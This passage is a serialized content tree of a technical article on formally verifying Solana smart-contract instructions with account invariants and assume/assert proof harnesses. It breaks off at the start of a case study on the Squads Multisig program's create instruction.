(",{"type":23,"tag":135,"props":19541,"children":19543},{"className":19542},[],[19544],{"type":28,"value":1713},{"type":28,"value":2583},{"type":23,"tag":135,"props":19547,"children":19549},{"className":19548},[],[19550],{"type":28,"value":19551},"close",{"type":28,"value":19553},") we define a ",{"type":23,"tag":135,"props":19555,"children":19557},{"className":19556},[],[19558],{"type":28,"value":19559},"pre_condition",{"type":28,"value":9002},{"type":23,"tag":135,"props":19562,"children":19564},{"className":19563},[],[19565],{"type":28,"value":19566},"post_condition",{"type":28,"value":19568}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":19570,"children":19571},{},[19572],{"type":23,"tag":135,"props":19573,"children":19575},{"className":19574},[1981,1982],[19576],{"type":23,"tag":139,"props":19577,"children":19579},{"className":19578},[1987],[19580],{"type":23,"tag":139,"props":19581,"children":19583},{"className":19582,"ariaHidden":1993},[1992],[19584,19620],{"type":23,"tag":139,"props":19585,"children":19587},{"className":19586},[1998],[19588,19593,19601,19606,19610,19616],{"type":23,"tag":139,"props":19589,"children":19592},{"className":19590,"style":19591},[2003],"height:0.6833em;",[],{"type":23,"tag":139,"props":19594,"children":19598},{"className":19595,"style":19597},[2009,19596],"mathnormal","margin-right:0.13889em;",[19599],{"type":28,"value":19600},"P",{"type":23,"tag":139,"props":19602,"children":19604},{"className":19603},[2009],[19605],{"type":28,"value":2021},{"type":23,"tag":139,"props":19607,"children":19609},{"className":19608,"style":2187},[2089],[],{"type":23,"tag":139,"props":19611,"children":19613},{"className":19612},[2192],[19614],{"type":28,"value":19615},":=",{"type":23,"tag":139,"props":19617,"children":19619},{"className":19618,"style":2187},[2089],[],{"type":23,"tag":139,"props":19621,"children":19623},{"className":19622},[1998],[19624,19629,19769,19773],{"type":23,"tag":139,"props":19625,"children":19628},{"className":19626,"style":19627},[2003],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":139,"props":19630,"children":19633},{"className":19631},[19632],"mop",[19634,19643],{"type":23,"tag":139,"props":19635,"children":19640},{"className":19636,"style":19639},[19632,19637,19638],"op-symbol","small-op","position:relative;top:0em;",[19641],{"type":28,"value":19642},"⋀",{"type":23,"tag":139,"props":19644,"children":19646},{"className":19645},[2025],[19647],{"type":23,"tag":139,"props":19648,"children":19651},{"className":19649},[2030,19650],"vlist-t2",[19652,19757],{"type":23,"tag":139,"props":19653,"children":19655},{"className":19654},[2035],[19656,19750],{"type":23,"tag":139,"props":19657,"children":19660},{"className":19658,"style":19659},[2040],"height:0.2253em;",[19661],{"type":23,"tag":139,"props":19662,"children":19664},{"style":19663},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[19665,19669],{"type":23,"tag":139,"props":19666,"children":19668},{"className":19667,"style":2050},[2049],[],{"type":23,"tag":139,"props":19670,"children":19672},{"className":19671},[2055,2056,2057,2058],[19673],{"type":23,"tag":139,"props":19674,"children":19676},{"className":19675},[2009,2058],[19677,19682,19688,19698,19704,19713,19722,19728,19733,19739,19744],{"type":23,"tag":139,"props":19678,"children":19680},{"className":19679},[2009,19596,2058],[19681],{"type":28,"value":64},{"type":23,"tag":139,"props":19683,"children":19685},{"className":19684},[2009,19596,2058],[19686],{"type":28,"value":19687},"cc",{"type":23,"tag":139,"props":19689,"children":19691},{"className":19690},[2089,2058],[19692],{"type":23,"tag":139,"props":19693,"children":19695},{"className":19694},[2058],[19696],{"type":28,"value":19697}," ",{"type":23,"tag":139,"props":19699,"children":19701},{"className":19700},[2192,2058],[19702],{"type":28,"value":19703},"∈",{"type":23,"tag":139,"props":19705,"children":19707},{"className":19706},[2089,2058],[19708],{"type":23,"tag":139,"props":19709,"children":19711},{"className":19710},[2058],[19712],{"type":28,"value":19697},{"type":23,"tag":139,"props":19714,"children":19716},{"className":19715},[2009,28,2058],[19717],{"type":23,"tag":139,"props":19718,"children":19720},{"className":19719},[2009,2058],[19721],{"type":28,"value":19517},{"type":23,"tag":139,"props":19723,"children":19726},{"className":19724},[19725,2058],"mopen",[19727],{"type":28,"value":262},{"type":23,"tag":139,"props":19729,"children":19731},{"className":19730},[2009,19596,2058],[19732],{"type":28,"value":1123},{"type":23,"tag":139,"props":19734,"children":19736},{"className":19735},[2009,19596,2058],[19737],{"type":28,"value":19738},"t",{"type":23,"tag":139,"props":19740,"children":19742},{"className":19741},[2009,19596,2058],[19743],{"type":28,"value":17284},{"type":23,"tag":139,"props":19745,"children":19748},{"className":19746},[19747,2058],"mclose",[19749],{"type":28,"value":1104},{"type":23,"tag":139,"props":19751,"children":19754},{"className":19752},[19753],"vlist-s",[19755],{"type":28,"value":19756},"​",{"type":23,"tag":139,"props":19758,"children":19760},{"className":19759},[2035],[19761],{"type":23,"tag":139,"props":19762,"children":19765},{"className":19763,"style":19764},[2040],"height:0.4747em;",[19766],{"type":23,"tag":139,"props":19767,"children":19768},{},[],{"type":23,"tag":139,"props":19770,"children":19772},{"className":19771,"style":2128},[2089],[],{"type":23,"tag":139,"props":19774,"children":19776},{"className":19775},[2009],[19777,19787,19792,19797,19802],{"type":23,"tag":139,"props":19778,"children":19780},{"className":19779},[2009,28],[19781],{"type":23,"tag":139,"props":19782,"children":19784},{"className":19783},[2009],[19785],{"type":28,"value":19786},"invariant",{"type":23,"tag":139,"props":19788,"children":19790},{"className":19789},[19725],[19791],{"type":28,"value":262},{"type":23,"tag":139,"props":19793,"children":19795},{"className":19794},[2009,19596],[19796],{"type":28,"value":64},{"type":23,"tag":139,"props":19798,"children":19800},{"className":19799},[2009,19596],[19801],{"type":28,"value":19687},{"type":23,"tag":139,"props":19803,"children":19805},{"className":19804},[19747],[19806],{"type":28,"value":1104},{"type":23,"tag":24,"props":19808,"children":19809},{},[19810],{"type":23,"tag":135,"props":19811,"children":19813},{"className":19812},[1981,1982],[19814],{"type":23,"tag":139,"props":19815,"children":19817},{"className":19816},[1987],[19818],{"type":23,"tag":139,"props":19819,"children":19821},{"className":19820,"ariaHidden":1993},[1992],[19822,19853],{"type":23,"tag":139,"props":19823,"children":19825},{"className":19824},[1998],[19826,19830,19835,19840,19844,19849],{"type":23,"tag":139,"props":19827,"children":19829},{"className":19828,"style":19591},[2003],[],{"type":23,"tag":139,"props":19831,"children":19833},{"className":19832,"style":19597},[2009,19596],[19834],{"type":28,"value":19600},{"type":23,"tag":139,"props":19836,"children":19838},{"className":19837},[2009],[19839],{"type":28,"value":647},{"type":23,"tag":139,"props":19841,"children":19843},{"className":19842,"style":2187},[2089],[],{"type":23,"tag":139,"props":19845,"children":19847},{"className":19846},[2192],[19848],{"type":28,"value":19615},{"type":23,"tag":139,"props":19850,"children":19852},{"className":19851,"style":2187},[2089],[],{"type":23,"tag":139,"props":19854,"children":19856},{"className":19855},[1998],[19857,19861,19984,19988],{"type":23,"tag":139,"props":19858,"children":19860},{"className":19859,"style":19627},[2003],[],{"type":23,"tag":139,"props":19862,"children":19864},{"className":19863},[19632],[19865,19870],{"type":23,"tag":139,"props":19866,"children":19868},{"className":19867,"style":19639},[19632,19637,19638],[19869],{"type":28,"value":19642},{"type":23,"tag":139,"props":19871,"children":19873},{"className":19872},[2025],[19874],{"type":23,"tag":139,"props":19875,"children":19877},{"className":19876},[2030,19650],[19878,19973],{"type":23,"tag":139,"props":19879,"children":19881},{"className":19880},[2035],[19882,19968],{"type":23,"tag":139,"props":19883,"children":19885},{"className":19884,"style":19659},[2040],[19886],{"type":23,"tag":139,"props":19887,"children":19888},{"style":19663},[19889,19893],{"type":23,"tag":139,"props":19890,"children":19892},{"className":19891,"style":2050},[2049],[],{"type":23,"tag":139,"props":19894,"children":19896},{"className":19895},[2055,2056,2057,2058],[19897],{"type":23,"tag":139,"props":19898,"children":19900},{"className":19899},[2009,2058],[19901,19906,19911,19920,19925,19934,19943,19948,19953,19958,19963],{"type":23,"tag":139,"props":19902,"children":19904},{"className":19903},[2009,19596,2058],[19905],{"type":28,"value":64},{"type":23,"tag":139,"props":19907,"children":19909},{"className":19908},[2009,19596,2058],[19910],{"type":28,"value":19687},{"type":23,"tag":139,"props":19912,"children":19914},{"className":19913},[2089,2058],[19915],{"type":23,"tag":139,"props":19916,"children":19918},{"className":19917},[2058],[19919],{"type":28,"value":19697},{"type":23,"tag":139,"props":19921,"children":19923},{"className":19922},[2192,2058],[19924],{"type":28,"value":19703},{"type":23,"tag":139,"props":19926,"children":19928},{"className":19927},[2089,2058],[19929],{"type":23,"tag":139,"props":19930,"children":19932},{"className":19931},[2058],[19933],{"type":28,"value":19697},{"type":23,"tag":139,"props":19935,"children":19937},{"className":19936},[2009,28,2058],[19938],{"type":23,"tag":139,"props":19939,"children":19941},{"className":19940},[2009,2058],[19942],{"type":28,"value":19537},{"type":23,"tag":139,"props":19944,"children":19946},{"className":19945},[19725,2058],[19947],{"type":28,"value":262},{"type":23,"tag":139,"props":19949,"children":19951},{"className":19950},[2009,19596,2058],[19952],{"type":28,"value":1123},{"type":23,"tag":139,"props":19954,"children":19956},{"className":19955},[2009,19596,2058],[19957],{"type":28,"value":19738},{"type":23,"tag":139,"props":19959,"children":19961},{"className":19960},[2009,19596,2058],[19962],{"type":28,"value":17284},{"type":23,"tag":139,"props":19964,"children":19966},{"className":19965},[19747,2058],[19967],{"type":28,"value":1104},{"type":23,"tag":139,"props":19969,"children":19971},{"className":19970},[19753],[19972],{"type":28,"value":19756},{"type":23,"tag":139,"props":19974,"children":19976},{"className":19975},[2035],[19977],{"type":23,"tag":139,"props":19978,"children":19980},{"className":19979,"style":19764},[2040],[19981],{"type":23,"tag":139,"props":19982,"children":19983},{},[],{"type":23,"tag":139,"props":19985,"children":19987},{"className":19986,"style":2128},[2089],[],{"type":23,"tag":139,"props":19989,"children":19991},{"className":19990},[2009],[19992,20001,20006,20011,20016],{"type":23,"tag":139,"props":19993,"children":19995},{"className":19994},[2009,28],[19996],{"type":23,"tag":139,"props":19997,"children":19999},{"className":19998},[2009],[20000],{"type":28,"value":19786},{"type":23,"tag":139,"props":20002,"children":20004},{"className":20003},[19725],[20005],{"type":28,"value":262},{"type":23,"tag":139,"props":20007,"children":20009},{"className":20008},[2009,19596],[20010],{"type":28,"value":64},{"type":23,"tag":139,"props":20012,"children":20014},{"className":20013},[2009,19596],[20015],{"type":28,"value":19687},{"type":23,"tag":139,"props":20017,"children":20019},{"className":20018},[19747],[20020],{"type":28,"value":1104},{"type":23,"tag":24,"props":20022,"children":20023},{},[20024],{"type":28,"value":20025},"Our instruction invariants are represented as:",{"type":23,"tag":14699,"props":20027,"children":20028},{},[20029,20065],{"type":23,"tag":801,"props":20030,"children":20031},{},[20032,20059,20060],{"type":23,"tag":135,"props":20033,"children":20035},{"className":20034},[1981,1982],[20036],{"type":23,"tag":139,"props":20037,"children":20039},{"className":20038},[1987],[20040],{"type":23,"tag":139,"props":20041,"children":20043},{"className":20042,"ariaHidden":1993},[1992],[20044],{"type":23,"tag":139,"props":20045,"children":20047},{"className":20046},[1998],[20048,20052],{"type":23,"tag":139,"props":20049,"children":20051},{"className":20050,"style":19591},[2003],[],{"type":23,"tag":139,"props":20053,"children":20056},{"className":20054,"style":20055},[2009,19596],"margin-right:0.05764em;",[20057],{"type":28,"value":20058},"S",{"type":28,"value":13343},{"type":23,"tag":135,"props":20061,"children":20063},{"className":20062},[],[20064],{"type":28,"value":18162},{"type":23,"tag":801,"props":20066,"children":20067},{},[20068,20094,20095],{"type":23,"tag":135,"props":20069,"children":20071},{"className":20070},[1981,1982],[20072],{"type":23,"tag":139,"props":20073,"children":20075},{"className":20074},[1987],[20076],{"type":23,"tag":139,"props":20077,"children":20079},{"className":20078,"ariaHidden":1993},[1992],[20080],{"type":23,"tag":139,"props":20081,"children":20083},{"className":20082},[1998],[20084,20088],{"type":23,"tag":139,"props":20085,"children":20087},{"className":20086,"style":19591},[2003],[],{"type":23,"tag":139,"props":20089,"children":20091},{"className":20090,"style":20055},[2009,19596],[20092],{"type":28,"value":20093},"E",{"type":28,"value":13343},{"type":23,"tag":135,"props":20096,"children":20098},{"className":20097},[],[20099],{"type":28,"value":18169},{"type":23,"tag":24,"props":20101,"children":20102},{},[20103,20105,20132,20134,20139,20141,20147],{"type":28,"value":20104},"And ",{"type":23,"tag":135,"props":20106,"children":20108},{"className":20107},[1981,1982],[20109],{"type":23,"tag":139,"props":20110,"children":20112},{"className":20111},[1987],[20113],{"type":23,"tag":139,"props":20114,"children":20116},{"className":20115,"ariaHidden":1993},[1992],[20117],{"type":23,"tag":139,"props":20118,"children":20120},{"className":20119},[1998],[20121,20125],{"type":23,"tag":139,"props":20122,"children":20124},{"className":20123,"style":19591},[2003],[],{"type":23,"tag":139,"props":20126,"children":20129},{"className":20127,"style":20128},[2009,19596],"margin-right:0.07153em;",[20130],{"type":28,"value":20131},"K",{"type":28,"value":20133}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":135,"props":20135,"children":20137},{"className":20136},[],[20138],{"type":28,"value":18497},{"type":28,"value":20140}," not an ",{"type":23,"tag":135,"props":20142,"children":20144},{"className":20143},[],[20145],{"type":28,"value":20146},"Err",{"type":28,"value":18750},{"type":23,"tag":24,"props":20149,"children":20150},{},[20151],{"type":28,"value":20152},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":666,"props":20154,"children":20156},{"id":20155},"account-invariants-1",[20157],{"type":28,"value":20158},"Account invariants",{"type":23,"tag":24,"props":20160,"children":20161},{},[20162,20164,20195,20197,20227,20229,20259],{"type":28,"value":20163},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":135,"props":20165,"children":20167},{"className":20166},[1981,1982],[20168],{"type":23,"tag":139,"props":20169,"children":20171},{"className":20170},[1987],[20172],{"type":23,"tag":139,"props":20173,"children":20175},{"className":20174,"ariaHidden":1993},[1992],[20176],{"type":23,"tag":139,"props":20177,"children":20179},{"className":20178},[1998],[20180,20184,20190],{"type":23,"tag":139,"props":20181,"children":20183},{"className":20182,"style":19591},[2003],[],{"type":23,"tag":139,"props":20185,"children":20187},{"className":20186},[2009],[20188],{"type":28,"value":20189},"¬",{"type":23,"tag":139,"props":20191,"children":20193},{"className":20192,"style":20128},[2009,19596],[20194],{"type":28,"value":20131},{"type":28,"value":20196},") or the account post-invariants should hold (",{"type":23,"tag":135,"props":20198,"children":20200},{"className":20199},[1981,1982],[20201],{"type":23,"tag":139,"props":20202,"children":20204},{"className":20203},[1987],[20205],{"type":23,"tag":139,"props":20206,"children":20208},{"className":20207,"ariaHidden":1993},[1992],[20209],{"type":23,"tag":139,"props":20210,"children":20212},{"className":20211},[1998],[20213,20217,20222],{"type":23,"tag":139,"props":20214,"children":20216},{"className":20215,"style":19591},[2003],[],{"type":23,"tag":139,"props":20218,"children":20220},{"className":20219,"style":19597},[2009,19596],[20221],{"type":28,"value":19600},{"type":23,"tag":139,"props":20223,"children":20225},{"className":20224},[2009],[20226],{"type":28,"value":647},{"type":28,"value":20228},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":135,"props":20230,"children":20232},{"className":20231},[1981,1982],[20233],{"type":23,"tag":139,"props":20234,"children":20236},{"className":20235},[1987],[20237],{"type":23,"tag":139,"props":20238,"children":20240},{"className":20239,"ariaHidden":1993},[1992],[20241],{"type":23,"tag":139,"props":20242,"children":20244},{"className":20243},[1998],[20245,20249,20254],{"type":23,"tag":139,"props":20246,"children":20248},{"className":20247,"style":19591},[2003],[],{"type":23,"tag":139,"props":20250,"children":20252},{"className":20251,"style":19597},[2009,19596],[20253],{"type":28,"value":19600},{"type":23,"tag":139,"props":20255,"children":20257},{"className":20256},[2009],[20258],{"type":28,"value":2021},{"type":28,"value":20260},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":20262,"children":20263},{},[20264,20266],{"type":28,"value":20265},"So we are trying to prove that ",{"type":23,"tag":135,"props":20267,"children":20269},{"className":20268},[1981,1982],[20270],{"type":23,"tag":139,"props":20271,"children":20273},{"className":20272},[1987],[20274],{"type":23,"tag":139,"props":20275,"children":20277},{"className":20276,"ariaHidden":1993},[1992],[20278,20315,20347],{"type":23,"tag":139,"props":20279,"children":20281},{"className":20280},[1998],[20282,20286,20291,20296,20301,20305,20311],{"type":23,"tag":139,"props":20283,"children":20285},{"className":20284,"style":2110},[2003],[],{"type":23,"tag":139,"props":20287,"children":20289},{"className":20288},[19725],[20290],{"type":28,"value":262},{"type":23,"tag":139,"props":20292,"children":20294},{"className":20293,"style":19597},[2009,19596],[20295],{"type":28,"value":19600},{"type":23,"tag":139,"props":20297,"children":20299},{"className":20298},[2009],[20300],{"type":28,"value":2021},{"type":23,"tag":139,"props":20302,"children":20304},{"className":20303,"style":2090},[2089],[],{"type":23,"tag":139,"props":20306,"children":20308},{"className":20307},[2095],[20309],{"type":28,"value":20310},"∧",{"type":23,"tag":139,"props":20312,"children":20314},{"className":20313,"style":2090},[2089],[],{"type":23,"tag":139,"props":20316,"children":20318},{"className":20317},[1998],[20319,20323,20328,20333,20337,20343],{"type":23,"tag":139,"props":20320,"children":20322},{"className":20321,"style":2110},[2003],[],{"type":23,"tag":139,"props":20324,"children":20326},{"className":20325,"style":20128},[2009,19596],[20327],{"type":28,"value":20131},{"type":23,"tag":139,"props":20329,"children":20331},{"className":20330},[19747],[20332],{"type":28,"value":1104},{"type":23,"tag":139,"props":20334,"children":20336},{"className":20335,"style":2187},[2089],[],{"type":23,"tag":139,"props":20338,"children":20340},{"className":20339},[2192],[20341],{"type":28,"value":20342},"→",{"type":23,"tag":139,"props":20344,"children":20346},{"className":20345,"style":2187},[2089],[],{"type":23,"tag":139,"props":20348,"children":20350},{"className":20349},[1998],[20351,20355,20360],{"type":23,"tag":139,"props":20352,"children":20354},{"className":20353,"style":19591},[2003],[],{"type":23,"tag":139,"props":20356,"children":20358},{"className":20357,"style":19597},[2009,19596],[20359],{"type":28,"value":19600},{"type":23,"tag":139,"props":20361,"children":20363},{"className":20362},[2009],[20364],{"type":28,"value":647},{"type":23,"tag":24,"props":20366,"children":20367},{},[20368],{"type":28,"value":20369},"We can construct a proof harness like the following:",{"type":23,"tag":128,"props":20371,"children":20373},{"code":20372,"language":235,"meta":7,"className":233,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[20374],{"type":23,"tag":135,"props":20375,"children":20376},{"__ignoreMap":7},[20377,20385,20402],{"type":23,"tag":139,"props":20378,"children":20379},{"class":141,"line":142},[20380],{"type":23,"tag":139,"props":20381,"children":20382},{"style":259},[20383],{"type":28,"value":20384},"assume(P0)\n",{"type":23,"tag":139,"props":20386,"children":20387},{"class":141,"line":151},[20388,20393,20397],{"type":23,"tag":139,"props":20389,"children":20390},{"style":259},[20391],{"type":28,"value":20392},"res ",{"type":23,"tag":139,"props":20394,"children":20395},{"style":982},[20396],{"type":28,"value":1067},{"type":23,"tag":139,"props":20398,"children":20399},{"style":259},[20400],{"type":28,"value":20401}," instruction_handler(...)\n",{"type":23,"tag":139,"props":20403,"children":20404},{"class":141,"line":160},[20405,20409,20413,20418,20423,20428],{"type":23,"tag":139,"props":20406,"children":20407},{"style":319},[20408],{"type":28,"value":17991},{"type":23,"tag":139,"props":20410,"children":20411},{"style":259},[20412],{"type":28,"value":262},{"type":23,"tag":139,"props":20414,"children":20416},{"style":20415},"--shiki-default:#F44747",[20417],{"type":28,"value":18629},{"type":23,"tag":139,"props":20419,"children":20420},{"style":259},[20421],{"type":28,"value":20422},"K ",{"type":23,"tag":139,"props":20424,"children":20425},{"style":20415},[20426],{"type":28,"value":20427},"||",{"type":23,"tag":139,"props":20429,"children":20430},{"style":259},[20431],{"type":28,"value":20432}," P1)\n",{"type":23,"tag":24,"props":20434,"children":20435},{},[20436],{"type":28,"value":20437},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":666,"props":20439,"children":20441},{"id":20440},"positive-instruction-invariant",[20442],{"type":28,"value":20443},"Positive instruction invariant",{"type":23,"tag":24,"props":20445,"children":20446},{},[20447,20449,20455,20457,20508],{"type":28,"value":20448},"Next we need to prove that ",{"type":23,"tag":135,"props":20450,"children":20452},{"className":20451},[],[20453],{"type":28,"value":20454},"success_if",{"type":28,"value":20456}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":135,"props":20458,"children":20460},{"className":20459},[1981,1982],[20461],{"type":23,"tag":139,"props":20462,"children":20464},{"className":20463},[1987],[20465],{"type":23,"tag":139,"props":20466,"children":20468},{"className":20467,"ariaHidden":1993},[1992],[20469,20495],{"type":23,"tag":139,"props":20470,"children":20472},{"className":20471},[1998],[20473,20477,20482,20486,20491],{"type":23,"tag":139,"props":20474,"children":20476},{"className":20475,"style":19591},[2003],[],{"type":23,"tag":139,"props":20478,"children":20480},{"className":20479,"style":20055},[2009,19596],[20481],{"type":28,"value":20058},{"type":23,"tag":139,"props":20483,"children":20485},{"className":20484,"style":2187},[2089],[],{"type":23,"tag":139,"props":20487,"children":20489},{"className":20488},[2192],[20490],{"type":28,"value":20342},{"type":23,"tag":139,"props":20492,"children":20494},{"className":20493,"style":2187},[2089],[],{"type":23,"tag":139,"props":20496,"children":20498},{"className":20497},[1998],[20499,20503],{"type":23,"tag":139,"props":20500,"children":20502},{"className":20501,"style":19591},[2003],[],{"type":23,"tag":139,"props":20504,"children":20506},{"className":20505,"style":20128},[2009,19596],[20507],{"type":28,"value":20131},{"type":28,"value":73},{"type":23,"tag":24,"props":20510,"children":20511},{},[20512],{"type":28,"value":20513},"Just like before we can construct a proof harness:",{"type":23,"tag":128,"props":20515,"children":20517},{"code":20516,"language":235,"meta":7,"className":233,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[20518],{"type":23,"tag":135,"props":20519,"children":20520},{"__ignoreMap":7},[20521,20529,20544],{"type":23,"tag":139,"props":20522,"children":20523},{"class":141,"line":142},[20524],{"type":23,"tag":139,"props":20525,"children":20526},{"style":259},[20527],{"type":28,"value":20528},"assume(S)\n",{"type":23,"tag":139,"props":20530,"children":20531},{"class":141,"line":151},[20532,20536,20540],{"type":23,"tag":139,"props":20533,"children":20534},{"style":259},[20535],{"type":28,"value":20392},{"type":23,"tag":139,"props":20537,"children":20538},{"style":982},[20539],{"type":28,"value":1067},{"type":23,"tag":139,"props":20541,"children":20542},{"style":259},[20543],{"type":28,"value":20401},{"type":23,"tag":139,"props":20545,"children":20546},{"class":141,"line":160},[20547,20551],{"type":23,"tag":139,"props":20548,"children":20549},{"style":319},[20550],{"type":28,"value":17991},{"type":23,"tag":139,"props":20552,"children":20553},{"style":259},[20554],{"type":28,"value":20555},"(K)\n",{"type":23,"tag":24,"props":20557,"children":20558},{},[20559,20561,20566,20568,20580],{"type":28,"value":20560},"This proof assures that whenever ",{"type":23,"tag":135,"props":20562,"children":20564},{"className":20563},[],[20565],{"type":28,"value":18162},{"type":28,"value":20567}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":659,"props":20569,"children":20570},{},[20571,20573,20578],{"type":28,"value":20572},"even if ",{"type":23,"tag":135,"props":20574,"children":20576},{"className":20575},[],[20577],{"type":28,"value":18162},{"type":28,"value":20579}," is not satisfied",{"type":28,"value":20581},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":666,"props":20583,"children":20585},{"id":20584},"_3-negative-instruction-invariant",[20586],{"type":28,"value":20587},"3. Negative instruction invariant",{"type":23,"tag":24,"props":20589,"children":20590},{},[20591,20593,20598,20600,20656],{"type":28,"value":20592},"Finally, we want to prove that ",{"type":23,"tag":135,"props":20594,"children":20596},{"className":20595},[],[20597],{"type":28,"value":18169},{"type":28,"value":20599}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":135,"props":20601,"children":20603},{"className":20602},[1981,1982],[20604],{"type":23,"tag":139,"props":20605,"children":20607},{"className":20606},[1987],[20608],{"type":23,"tag":139,"props":20609,"children":20611},{"className":20610,"ariaHidden":1993},[1992],[20612,20638],{"type":23,"tag":139,"props":20613,"children":20615},{"className":20614},[1998],[20616,20620,20625,20629,20634],{"type":23,"tag":139,"props":20617,"children":20619},{"className":20618,"style":19591},[2003],[],{"type":23,"tag":139,"props":20621,"children":20623},{"className":20622,"style":20055},[2009,19596],[20624],{"type":28,"value":20093},{"type":23,"tag":139,"props":20626,"children":20628},{"className":20627,"style":2187},[2089],[],{"type":23,"tag":139,"props":20630,"children":20632},{"className":20631},[2192],[20633],{"type":28,"value":20342},{"type":23,"tag":139,"props":20635,"children":20637},{"className":20636,"style":2187},[2089],[],{"type":23,"tag":139,"props":20639,"children":20641},{"className":20640},[1998],[20642,20646,20651],{"type":23,"tag":139,"props":20643,"children":20645},{"className":20644,"style":19591},[2003],[],{"type":23,"tag":139,"props":20647,"children":20649},{"className":20648},[2009],[20650],{"type":28,"value":20189},{"type":23,"tag":139,"props":20652,"children":20654},{"className":20653,"style":20128},[2009,19596],[20655],{"type":28,"value":20131},{"type":28,"value":73},{"type":23,"tag":24,"props":20658,"children":20659},{},[20660],{"type":28,"value":20661},"This harness looks just like the previous one:",{"type":23,"tag":128,"props":20663,"children":20665},{"code":20664,"language":235,"meta":7,"className":233,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[20666],{"type":23,"tag":135,"props":20667,"children":20668},{"__ignoreMap":7},[20669,20677,20692],{"type":23,"tag":139,"props":20670,"children":20671},{"class":141,"line":142},[20672],{"type":23,"tag":139,"props":20673,"children":20674},{"style":259},[20675],{"type":28,"value":20676},"assume(E)\n",{"type":23,"tag":139,"props":20678,"children":20679},{"class":141,"line":151},[20680,20684,20688],{"type":23,"tag":139,"props":20681,"children":20682},{"style":259},[20683],{"type":28,"value":20392},{"type":23,"tag":139,"props":20685,"children":20686},{"style":982},[20687],{"type":28,"value":1067},{"type":23,"tag":139,"props":20689,"children":20690},{"style":259},[20691],{"type":28,"value":20401},{"type":23,"tag":139,"props":20693,"children":20694},{"class":141,"line":160},[20695,20699,20703,20707],{"type":23,"tag":139,"props":20696,"children":20697},{"style":319},[20698],{"type":28,"value":17991},{"type":23,"tag":139,"props":20700,"children":20701},{"style":259},[20702],{"type":28,"value":262},{"type":23,"tag":139,"props":20704,"children":20705},{"style":20415},[20706],{"type":28,"value":18629},{"type":23,"tag":139,"props":20708,"children":20709},{"style":259},[20710],{"type":28,"value":20711},"K)\n",{"type":23,"tag":24,"props":20713,"children":20714},{},[20715,20717,20721],{"type":28,"value":20716},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":659,"props":20718,"children":20719},{},[20720],{"type":28,"value":14383},{"type":28,"value":20722}," the account invariants we expect are always being preserved.",{"type":23,"tag":41,"props":20724,"children":20726},{"id":20725},"case-study-squads-multisig",[20727],{"type":28,"value":20728},"Case study: Squads Multisig",{"type":23,"tag":24,"props":20730,"children":20731},{},[20732,20734,20739],{"type":28,"value":20733},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":64,"props":20735,"children":20737},{"href":16831,"rel":20736},[68],[20738],{"type":28,"value":16835},{"type":28,"value":73},{"type":23,"tag":24,"props":20741,"children":20742},{},[20743,20745,20751,20753,20759],{"type":28,"value":20744},"The program defines a Multisig account (",{"type":23,"tag":135,"props":20746,"children":20748},{"className":20747},[],[20749],{"type":28,"value":20750},"Ms",{"type":28,"value":20752},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":135,"props":20754,"children":20756},{"className":20755},[],[20757],{"type":28,"value":20758},"threshold",{"type":28,"value":20760}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":20762,"children":20763},{},[20764],{"type":28,"value":20765},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":20767,"children":20768},{},[20769],{"type":28,"value":20770},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":797,"props":20772,"children":20773},{},[20774,20779,20784,20789],{"type":23,"tag":801,"props":20775,"children":20776},{},[20777],{"type":28,"value":20778},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":801,"props":20780,"children":20781},{},[20782],{"type":28,"value":20783},"Verify threshold requirements",{"type":23,"tag":801,"props":20785,"children":20786},{},[20787],{"type":28,"value":20788},"Verify requirements to remove a member",{"type":23,"tag":801,"props":20790,"children":20791},{},[20792],{"type":28,"value":20793},"Safety guarantees",{"type":23,"tag":666,"props":20795,"children":20797},{"id":20796},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[20798],{"type":28,"value":20799},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":20801,"children":20802},{},[20803,20805,20810],{"type":28,"value":20804},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":135,"props":20806,"children":20808},{"className":20807},[],[20809],{"type":28,"value":18162},{"type":28,"value":20811}," expression.",{"type":23,"tag":24,"props":20813,"children":20814},{},[20815,20817,20822,20824,20830],{"type":28,"value":20816},"Creating a multisig (",{"type":23,"tag":135,"props":20818,"children":20820},{"className":20819},[],[20821],{"type":28,"value":20750},{"type":28,"value":20823},") requires invoking the ",{"type":23,"tag":135,"props":20825,"children":20827},{"className":20826},[],[20828],{"type":28,"value":20829},"create",{"type":28,"value":20831}," instruction:",{"type":23,"tag":128,"props":20833,"children":20835},{"code":20834,"language":947,"meta":7,"className":948,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS 